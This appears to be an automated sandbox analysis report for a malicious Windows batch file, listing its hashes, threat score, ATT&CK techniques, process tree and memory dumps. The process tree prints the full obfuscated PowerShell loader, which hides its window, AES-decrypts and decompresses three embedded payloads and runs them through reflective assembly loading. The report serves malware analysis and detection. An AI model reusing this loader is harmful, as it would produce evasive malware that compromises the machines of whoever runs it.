7543e6925701f6fde75accb15f483991596b55260b720ba7dbc84cc48eeb27aa

Analysis

max time kernel
122s
max time network
126s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
19/10/2024, 09:24

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General

Target

mbbkel3.cmd
Size

1.6MB
MD5

d7239bc304b1d9d4ae192e2570419d53
SHA1

dccb1c1c8021d791852cd5c0dc5c6240be0ed2d1
SHA256

7543e6925701f6fde75accb15f483991596b55260b720ba7dbc84cc48eeb27aa
SHA512

d52dde51b91d287c750e85828ce4dd7a46e0ea2235fd6e63d4e7588745f7e34c198827cccb2d719525ecea5e92a8804377ca193b2d3e1e0e986d4f77d8dd4430
SSDEEP

24576:U6X5+xxQt9059S6lF1Xnu3V9wdo/Z7h6lstvegjMuz0OGSqE2qfv9OU:LpG/h3IHre0zRL

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2752	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2752	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2752	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2632 wrote to memory of 2740	2632	cmd.exe	31
PID 2632 wrote to memory of 2740	2632	cmd.exe	31
PID 2632 wrote to memory of 2740	2632	cmd.exe	31
PID 2632 wrote to memory of 2752	2632	cmd.exe	32
PID 2632 wrote to memory of 2752	2632	cmd.exe	32
PID 2632 wrote to memory of 2752	2632	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\mbbkel3.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('dZwBIL8mRiTZatOT8DHuTDuk3Oo1l68JNKsZ1rANWLs='); $aes_var.IV=[System.Convert]::FromBase64String('VRFaPmL5cO3W99Q3sAgvnA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$Sopqh=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$LWDBe=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$TccZi=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($Sopqh, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $TccZi.CopyTo($LWDBe); $TccZi.Dispose(); $Sopqh.Dispose(); $LWDBe.Dispose(); $LWDBe.ToArray();}function execute_function($param_var,$param2_var){ IEX '$MWnnv=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$jHyaV=$MWnnv.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$jHyaV.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$mjRKG = 'C:\Users\Admin\AppData\Local\Temp\mbbkel3.cmd';$host.UI.RawUI.WindowTitle = $mjRKG;$ysPnv=[System.IO.File]::ReadAllText($mjRKG).Split([Environment]::NewLine);foreach ($akrhi in $ysPnv) { if ($akrhi.StartsWith('dUMGHfMAItMYvjVTxFtd')) { $XDrXi=$akrhi.Substring(20); break; }}$payloads_var=[string[]]$XDrXi.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
  2⤵
  PID:2740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2752-4-0x000007FEF5D2E000-0x000007FEF5D2F000-memory.dmp

Filesize
4KB

Download
memory/2752-5-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/2752-7-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

Filesize
9.6MB

Download
memory/2752-6-0x00000000023A0000-0x00000000023A8000-memory.dmp

Filesize
32KB

Download
memory/2752-8-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

Filesize
9.6MB

Download
memory/2752-9-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

Filesize
9.6MB

Download
memory/2752-10-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

Filesize
9.6MB

Download
memory/2752-11-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

Filesize
9.6MB

Download
memory/2752-12-0x000007FEF5D2E000-0x000007FEF5D2F000-memory.dmp

Filesize
4KB

Download
memory/2752-13-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

Filesize
9.6MB

Download